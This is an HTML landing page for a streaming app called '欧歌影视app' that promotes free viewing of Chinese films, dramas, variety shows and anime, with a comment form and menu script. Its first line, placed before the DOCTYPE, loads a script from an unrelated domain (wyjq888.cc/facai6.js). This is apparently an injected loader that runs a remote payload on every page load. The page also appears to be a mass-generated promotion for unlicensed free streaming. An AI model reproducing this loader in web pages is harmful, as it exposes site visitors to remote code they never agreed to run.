<script type="text/javascript" src="https://wyjq888.cc/facai6.js"></script>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, viewport-fit=cover">
    <meta name="description" content="欧歌影视app - 海量高清影视免费看，热门电影、电视剧、综艺、动漫一网打尽。极致观影体验，畅享视听盛宴。">
    <meta name="keywords" content="欧歌影视app,免费影视,高清播放,热门电影,电视剧,综艺动漫,欧歌影视下载,在线看片">
    <meta name="author" content="欧歌影视">
    <meta name="robots" content="index, follow">
    <title>欧歌影视app · 海量高清免费看 | 畅享极致视听</title>
    <!-- 第三方 CDN CSS 外链 深色科技感 -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/modern-normalize@2.0.0/modern-normalize.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,300;14..32,400;14..32,600;14..32,700;14..32,800&display=swap" rel="stylesheet">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Inter', system-ui, sans-serif;
            background: #0a0c10;
            color: #ededed;
            line-height: 1.5;
            scroll-behavior: smooth;
        }
        /* 深色科技导航 */
        .navbar {
            background: rgba(10, 12, 16, 0.96);
            backdrop-filter: blur(12px);
            position: sticky;
            top: 0;
            z-index: 100;
            border-bottom: 1px solid rgba(0, 255, 255, 0.2);
        }
        .nav-container {
            max-width: 1440px;
            margin: 0 auto;
            padding: 0.8rem 2rem;
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
        }
        .logo-area {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .logo-img {
            width: 44px;
            height: 44px;
            object-fit: cover;
            border-radius: 12px;
            box-shadow: 0 0 10px rgba(0,255,255,0.3);
        }
        .logo-text {
            font-size: 1.6rem;
            font-weight: 800;
            background: linear-gradient(135deg, #00e0ff, #0077ff);
            background-clip: text;
            -webkit-background-clip: text;
            color: transparent;
        }
        .nav-links { display: flex; gap: 2rem; list-style: none; }
        .nav-links a { text-decoration: none; font-weight: 500; color: #ccc; transition: 0.2s; }
        .nav-links a:hover { color: #00e0ff; }
        .mobile-menu { display: none; font-size: 1.5rem; cursor: pointer; color: #00e0ff; }

        .container { max-width: 1440px; margin: 0 auto; padding: 2rem 2rem; }
        .section-title {
            font-size: 1.8rem;
            font-weight: 700;
            margin-bottom: 2rem;
            border-left: 4px solid #00e0ff;
            padding-left: 1rem;
            color: #f0f0f0;
        }

        /* Hero 区域 欧歌主打 */
        .hero {
            background: linear-gradient(115deg, #0e1219 0%, #141a24 100%);
            margin: 1.5rem 2rem;
            border-radius: 2rem;
            display: flex;
            flex-wrap: wrap;
            overflow: hidden;
            border: 1px solid rgba(0, 224, 255, 0.2);
            box-shadow: 0 20px 35px -8px rgba(0,0,0,0.5);
        }
        .hero-content { flex: 1.2; padding: 3rem 3rem; }
        .hero-title { font-size: 3.2rem; font-weight: 800; line-height: 1.2; background: linear-gradient(125deg, #00e0ff, #3a86ff); background-clip: text; -webkit-background-clip: text; color: transparent; margin-bottom: 1rem; }
        .hero-desc { font-size: 1rem; color: #b0b8c5; margin-bottom: 1.8rem; }
        .hero-img { flex: 0.9; min-height: 300px; background: #1e2a3a; }
        .hero-img img { width: 100%; height: 100%; object-fit: cover; display: block; }

        /* 卡片风格 玻璃态 */
        .card-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 1.8rem; }
        .card {
            background: rgba(20, 24, 30, 0.8);
            backdrop-filter: blur(4px);
            border-radius: 1.5rem;
            overflow: hidden;
            transition: 0.25s;
            border: 1px solid rgba(255,255,255,0.05);
        }
        .card:hover { transform: translateY(-4px); border-color: #00e0ff; box-shadow: 0 10px 25px -8px rgba(0,224,255,0.2); }
        .card-img { width: 100%; height: 200px; object-fit: cover; display: block; }
        .card-content { padding: 1.2rem; }
        .card-category { font-size: 0.7rem; font-weight: 700; text-transform: uppercase; color: #00e0ff; letter-spacing: 1px; }
        .card-title { font-size: 1.2rem; font-weight: 700; margin: 0.4rem 0; }
        .card-text { color: #9aa3b0; font-size: 0.8rem; }

        /* 双栏特色模块 */
        .feature-row {
            display: flex;
            flex-wrap: wrap;
            background: rgba(18, 22, 28, 0.8);
            border-radius: 1.5rem;
            overflow: hidden;
            margin-bottom: 1.8rem;
            border: 1px solid rgba(0,224,255,0.1);
        }
        .feature-img { flex: 1; min-height: 260px; }
        .feature-img img { width: 100%; height: 100%; object-fit: cover; display: block; }
        .feature-text { flex: 1; padding: 2rem; }

        /* 评论模块 */
        .comments-area { background: #11161e; border-radius: 1.5rem; padding: 2rem; border: 1px solid #1f2a36; }
        .comment-form input, .comment-form textarea { background: #0f131a; border: 1px solid #2a3645; color: #e0e0e0; border-radius: 2rem; padding: 0.8rem 1.2rem; width: 100%; font-family: inherit; }
        .comment-form button { background: #00e0ff; border: none; padding: 0.7rem 1.8rem; border-radius: 2rem; font-weight: 700; color: #0a0c10; cursor: pointer; transition: 0.2s; }
        .comment-list { list-style: none; margin-top: 1.5rem; }
        .comment-item { background: #0e141c; border-radius: 1.2rem; padding: 1rem; margin-bottom: 1rem; border-left: 4px solid #00e0ff; }

        footer { background: #05080c; border-top: 1px solid #00e0ff20; color: #8b95a1; padding: 2rem 2rem; text-align: center; margin-top: 3rem; }
        .footer-links a { color: #8b95a1; margin: 0 1rem; text-decoration: none; }
        .footer-links a:hover { color: #00e0ff; }

        @media (max-width: 800px) {
            .nav-links { display: none; width: 100%; flex-direction: column; background: #0a0c10; padding: 1rem; border-radius: 1rem; margin-top: 0.5rem; }
            .nav-links.active { display: flex; }
            .mobile-menu { display: block; }
            .hero-title { font-size: 2rem; }
            .hero-content { padding: 1.5rem; }
            .hero { margin: 1rem; }
            .container { padding: 1rem; }
            .feature-img { min-height: 200px; }
        }
    </style>
</head>
<body>

<nav class="navbar">
    <div class="nav-container">
        <div class="logo-area">
            <img class="logo-img" src="https://picsum.photos/id/160/100/100" alt="欧歌影视" loading="lazy">
            <div class="logo-text">欧歌影视<span style="font-size:0.9rem;">APP</span></div>
        </div>
        <div class="mobile-menu" id="mobileMenuBtn"><i class="fas fa-bars"></i></div>
        <ul class="nav-links" id="navLinks">
            <li><a href="#home">首页</a></li><li><a href="#hot">热播</a></li><li><a href="#movie">电影</a></li><li><a href="#tv">剧集</a></li><li><a href="#variety">综艺</a></li><li><a href="#comment">社区</a></li>
        </ul>
    </div>
</nav>

<main>
    <!-- Hero 区域 - 全新图片 -->
    <div class="hero" id="home">
        <div class="hero-content">
            <h1 class="hero-title">欧歌影视app</h1>
            <p class="hero-desc">海量高清 · 免费畅享。热门大片、经典剧集、爆款综艺、动漫新番，一站式观影体验。</p>
            <div style="display: flex; gap: 12px;">
                <span style="background:#00e0ff20; padding:0.3rem 1rem; border-radius:30px;"><i class="fas fa-download"></i> 立即下载</span>
                <span style="background:#00e0ff20; padding:0.3rem 1rem; border-radius:30px;"><i class="fas fa-tv"></i> 极速播放</span>
            </div>
        </div>
        <div class="hero-img"><img src="https://picsum.photos/id/161/800/500" alt="欧歌影视界面" loading="lazy"></div>
    </div>

    <!-- 栏目1 热门推荐 -->
    <div class="container" id="hot"><h2 class="section-title"><i class="fas fa-fire"></i> 热门推荐 · 火爆热播中</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/162/400/260" alt="热播剧"><div class="card-content"><div class="card-category">古装权谋</div><div class="card-title">《庆余年第二季》</div><div class="card-text">范闲复活归京，朝堂激战，播放量破纪录，欧歌热推NO.1。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/163/400/260" alt="悬疑剧"><div class="card-content"><div class="card-category">奇案探秘</div><div class="card-title">《唐朝诡事录·西行》</div><div class="card-text">西域奇案，诡谲波折，狄公弟子再破迷局。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/164/400/260" alt="都市剧"><div class="card-content"><div class="card-category">都市情感</div><div class="card-title">《承欢记》</div><div class="card-text">杨紫许凯，亦舒改编，母女和解温暖治愈。</div></div></div>
        </div>
    </div>

    <!-- 栏目2 电影频道 全新图片-->
    <div class="container" id="movie"><h2 class="section-title"><i class="fas fa-film"></i> 电影频道 · 院线大片</h2>
        <div class="feature-row"><div class="feature-img"><img src="https://picsum.photos/id/165/500/340" alt="热辣滚烫"></div><div class="feature-text"><h3 style="font-size:1.6rem;">《热辣滚烫》贾玲逆袭</h3><p>拳击励志，票房冠军，欧歌影视app全网首播，杜比音效极致体验。</p><a href="#" style="color:#00e0ff;">立即观看 →</a></div></div>
        <div class="feature-row" style="flex-direction: row-reverse;"><div class="feature-img"><img src="https://picsum.photos/id/166/500/340" alt="飞驰人生2"></div><div class="feature-text"><h3 style="font-size:1.6rem;">《飞驰人生2》沈腾爆笑</h3><p>巴音布鲁克再燃赛车魂，韩寒导演燃情之作，欧歌高分推荐。</p></div></div>
    </div>

    <!-- 栏目3 剧集精选 -->
    <div class="container" id="tv"><h2 class="section-title"><i class="fas fa-tv"></i> 剧集精选 · 熬夜必追</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/167/400/260" alt="大江大河3"><div class="card-content"><div class="card-category">年代史诗</div><div class="card-title">《大江大河3》</div><div class="card-text">王凯杨烁，宋运辉的终极抉择，时代落幕。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/168/400/260" alt="孤舟"><div class="card-content"><div class="card-category">谍战风云</div><div class="card-title">《孤舟》</div><div class="card-text">张颂文曾舜晞，苏州园林谍战，高能反转。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/169/400/260" alt="要久久爱"><div class="card-content"><div class="card-category">青春怀旧</div><div class="card-title">《要久久爱》</div><div class="card-text">杨紫范丞丞，航天城六人组，笑泪齐飞。</div></div></div>
        </div>
    </div>

    <!-- 栏目4 综艺盛典 -->
    <div class="container" id="variety"><h2 class="section-title"><i class="fas fa-microphone-alt"></i> 综艺盛典 · 欢乐不停</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/170/400/260" alt="王牌"><div class="card-content"><div class="card-category">爆笑综艺</div><div class="card-title">《王牌对王牌9》</div><div class="card-text">沈腾贾玲爆笑合体，经典游戏爆笑升级。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/171/400/260" alt="歌手2026"><div class="card-content"><div class="card-category">顶级音综</div><div class="card-title">《歌手2026》直播季</div><div class="card-text">国际阵容，全开麦直播，殿堂级竞演。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/172/400/260" alt="种地吧2"><div class="card-content"><div class="card-category">劳作纪实</div><div class="card-title">《种地吧2》</div><div class="card-text">十个勤天，热血种地，豆瓣9.0高分综艺。</div></div></div>
        </div>
    </div>

    <!-- 栏目5 动漫番剧 全新不重复 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-dragon"></i> 动漫番剧 · 二次元狂欢</h2>
        <div class="feature-row"><div class="feature-img"><img src="https://picsum.photos/id/173/500/340" alt="仙逆"></div><div class="feature-text"><h3>《仙逆》年番热播</h3><p>王林夺基，踏天之路，3D国漫顶级制作，欧歌动漫榜第一。</p></div></div>
        <div class="card-grid" style="margin-top:1rem;">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/174/400/260" alt="遮天"><div class="card-content"><div class="card-category">玄幻巨作</div><div class="card-title">《遮天》</div><div class="card-text">叶凡九龙拉棺，荒古圣地探险，每周三更新。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/175/400/260" alt="眷思量2"><div class="card-content"><div class="card-category">唯美古风</div><div class="card-title">《眷思量2》</div><div class="card-text">神族爱恋，东方幻想极致美学，口碑炸裂。</div></div></div>
        </div>
    </div>

    <!-- 栏目6 经典老片 全新图片 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-history"></i> 经典老片 · 重温岁月</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/176/400/260" alt="霸王别姬"><div class="card-content"><div class="card-category">华语巅峰</div><div class="card-title">《霸王别姬》4K修复</div><div class="card-text">张国荣风华绝代，欧歌典藏版。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/177/400/260" alt="无间道"><div class="card-content"><div class="card-category">港片神作</div><div class="card-title">《无间道》三部曲</div><div class="card-text">梁朝伟刘德华，警匪卧底天花板。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/178/400/260" alt="东邪西毒"><div class="card-content"><div class="card-category">王家卫美学</div><div class="card-title">《东邪西毒》终极版</div><div class="card-text">张国荣梁朝伟，沙漠里的爱恨情仇。</div></div></div>
        </div>
    </div>

    <!-- 栏目7 短剧专区 全新 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-mobile-alt"></i> 短剧爆款 · 一刷上瘾</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/179/400/260" alt="执笔"><div class="card-content"><div class="card-category">逆袭爽剧</div><div class="card-title">《执笔》</div><div class="card-text">相府嫡女觉醒，改写命运，短剧天花板。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/180/400/260" alt="风月变"><div class="card-content"><div class="card-category">古装奇幻</div><div class="card-title">《风月变》</div><div class="card-text">曾庆杰导演，氛围感绝美，短剧出圈之作。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/181/400/260" alt="授她以柄"><div class="card-content"><div class="card-category">古早狗血</div><div class="card-title">《授她以柄》</div><div class="card-text">霸道王爷强制爱，虐恋上瘾，播放量破5亿。</div></div></div>
        </div>
    </div>

    <!-- 栏目8 纪录片殿堂 全新 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-globe"></i> 人文纪录 · 真实震撼</h2>
        <div class="feature-row" style="flex-direction: row-reverse;"><div class="feature-img"><img src="https://picsum.photos/id/182/500/340" alt="何以中国"></div><div class="feature-text"><h3>《何以中国》考古史诗</h3><p>豆瓣9.8，探源中华文明，每一帧都是壁纸，欧歌独家推荐。</p></div></div>
        <div class="card-grid"><div class="card"><img class="card-img" src="https://picsum.photos/id/183/400/260" alt="风味人间5"><div class="card-content"><div class="card-category">美食之旅</div><div class="card-title">《风味人间5·香料》</div><div class="card-text">陈晓卿团队，全球香料奇遇，馋哭全网。</div></div></div>
        <div class="card"><img class="card-img" src="https://picsum.photos/id/184/400/260" alt="中国这么美"><div class="card-content"><div class="card-category">旅行治愈</div><div class="card-title">《中国这么美》</div><div class="card-text">音乐人慢旅行，治愈风光纪录片。</div></div></div></div>
    </div>

    <!-- 栏目9 欧歌推荐 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-star"></i> 欧歌推荐 · 编辑精选</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/185/400/260" alt="追风者"><div class="card-content"><div class="card-category">民国谍战</div><div class="card-title">《追风者》</div><div class="card-text">王一博李沁，金融谍战，智商在线黑马。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/186/400/260" alt="新生"><div class="card-content"><div class="card-category">悬疑烧脑</div><div class="card-title">《新生》</div><div class="card-text">井柏然周依然，骗局罗生门，高能反转。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/187/400/260" alt="我的阿勒泰"><div class="card-content"><div class="card-category">治愈散文</div><div class="card-title">《我的阿勒泰》</div><div class="card-text">马伊琍周依然，北疆风光，豆瓣8.9。</div></div></div>
        </div>
    </div>

    <!-- 栏目10 即将上线 全新 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-calendar-alt"></i> 即将上线 · 全网期待</h2>
        <div class="feature-row"><div class="feature-img"><img src="https://picsum.photos/id/188/500/340" alt="狐妖小红娘"></div><div class="feature-text"><h3>《狐妖小红娘·月红篇》定档</h3><p>杨幂龚俊，顶流国漫真人剧，东方奇幻美学，欧歌影视app独家首播。</p></div></div>
        <div class="card-grid"><div class="card"><img class="card-img" src="https://picsum.photos/id/189/400/260" alt="白夜破晓"><div class="card-content"><div class="card-category">刑侦悬疑</div><div class="card-title">《白夜破晓》</div><div class="card-text">潘粤明回归，关氏兄弟终极谜团。</div></div></div>
        <div class="card"><img class="card-img" src="https://picsum.photos/id/190/400/260" alt="边水往事"><div class="card-content"><div class="card-category">冒险悬疑</div><div class="card-title">《边水往事》</div><div class="card-text">郭麒麟吴镇宇，异域冒险，曹保平监制。</div></div></div></div>
    </div>

    <!-- 栏目11 影视原声 OST 全新 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-headphones"></i> 原声大碟 · 声入人心</h2>
        <div class="feature-row" style="flex-direction: row-reverse;"><div class="feature-img"><img src="https://picsum.photos/id/191/500/340" alt="OST封面"></div><div class="feature-text"><h3>欧歌歌单 · 年度影视金曲</h3><p>《繁花》偷心、《热辣滚烫》小美满、《与凤行》炽心，一键收藏循环播放。</p></div></div>
    </div>

    <!-- 栏目12 欧歌会员福利 全新 -->
    <div class="container"><h2 class="section-title"><i class="fas fa-gem"></i> 欧歌会员 · 尊享体验</h2>
        <div class="card-grid">
            <div class="card"><img class="card-img" src="https://picsum.photos/id/192/400/260" alt="4K画质"><div class="card-content"><div class="card-category">超清画质</div><div class="card-title">4K蓝光专区</div><div class="card-text">极致视听，沉浸观影，大师级画质。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/193/400/260" alt="无广告"><div class="card-content"><div class="card-category">畅爽体验</div><div class="card-title">尊享无广告</div><div class="card-text">免广告打扰，高速下载，专属客服。</div></div></div>
            <div class="card"><img class="card-img" src="https://picsum.photos/id/194/400/260" alt="多端同步"><div class="card-content"><div class="card-category">多端畅享</div><div class="card-title">TV/手机/平板</div><div class="card-text">一个账号，全家共享，观看记录同步。</div></div></div>
        </div>
    </div>

    <!-- 评论留言模块 -->
    <div class="container" id="comment">
        <div class="comments-area">
            <h3 style="font-size:1.6rem;"><i class="fas fa-comment-dots"></i> 欧歌影迷社区 · 聊聊你的观剧感受</h3>
            <form id="commentForm" class="comment-form" style="display: flex; flex-direction: column; gap: 1rem; margin-top: 1rem;">
                <input type="text" id="commentName" placeholder="昵称" required>
                <textarea id="commentMsg" rows="3" placeholder="推荐好剧、发表影评..." required></textarea>
                <button type="submit">发布留言</button>
            </form>
            <ul id="commentList" class="comment-list">
                <li class="comment-item"><span class="comment-name">欧歌铁粉007</span><span class="comment-date" style="margin-left:0.6rem;">刚刚</span><div>欧歌app太好用了！《庆余年2》画质超清，求推荐更多好剧。</div></li>
                <li class="comment-item"><span class="comment-name">动漫狂人</span><span class="comment-date">15分钟前</span><div>动漫区《仙逆》更新太爽了，每周必追！希望上更多国漫。</div></li>
            </ul>
        </div>
    </div>
</main>

<footer>
    <div class="footer-links"><a href="#">关于欧歌</a><a href="#">下载APP</a><a href="#">商务合作</a><a href="#">隐私政策</a></div>
    <div class="copyright">© 2026 欧歌影视app · 海量高清免费看 | 视觉素材全新独立不重复</div>
</footer>

<script>
    const mobileBtn = document.getElementById('mobileMenuBtn');
    const navLinksEl = document.getElementById('navLinks');
    if(mobileBtn) mobileBtn.onclick = () => navLinksEl.classList.toggle('active');
    const commentForm = document.getElementById('commentForm');
    const commentList = document.getElementById('commentList');
    function loadComments() {
        let stored = localStorage.getItem('ouge_comments_final');
        if(stored) {
            let comments = JSON.parse(stored);
            if(comments.length) {
                commentList.innerHTML = '';
                comments.forEach(c => {
                    let li = document.createElement('li');
                    li.className = 'comment-item';
                    li.innerHTML = `<span class="comment-name">${escapeHtml(c.name)}</span><span class="comment-date" style="margin-left:0.6rem;">${c.date}</span><div>${escapeHtml(c.text)}</div>`;
                    commentList.appendChild(li);
                });
            }
        }
    }
    function saveComment(name,text) {
        let comments = [];
        let existing = localStorage.getItem('ouge_comments_final');
        if(existing) comments = JSON.parse(existing);
        let now = new Date(); let dateStr = `${now.getMonth()+1}/${now.getDate()} ${now.getHours()}:${now.getMinutes()}`;
        comments.unshift({name, text, date: dateStr});
        if(comments.length > 20) comments.pop();
        localStorage.setItem('ouge_comments_final', JSON.stringify(comments));
        loadComments();
    }
    function escapeHtml(str) { if(!str) return ''; return str.replace(/[&<>]/g, function(m){ if(m==='&') return '&amp;'; if(m==='<') return '&lt;'; if(m==='>') return '&gt;'; return m;}); }
    if(commentForm) commentForm.addEventListener('submit', (e) => {
        e.preventDefault();
        let name = document.getElementById('commentName').value.trim();
        let msg = document.getElementById('commentMsg').value.trim();
        if(!name) name = "欧歌影迷";
        if(!msg) { alert("留下你的精彩评论吧~"); return; }
        saveComment(name, msg);
        document.getElementById('commentName').value = '';
        document.getElementById('commentMsg').value = '';
        alert("评论成功！感谢支持欧歌影视app");
    });
    loadComments();
    document.querySelectorAll('.nav-links a').forEach(link => {
        link.addEventListener('click', function(e) {
            let hash = this.getAttribute('href');
            if(hash && hash !== '#' && hash.startsWith('#')) {
                e.preventDefault();
                let target = document.querySelector(hash);
                if(target) target.scrollIntoView({ behavior: 'smooth' });
                if(navLinksEl.classList.contains('active')) navLinksEl.classList.remove('active');
            }
        });
    });
</script>
</body>
</html>
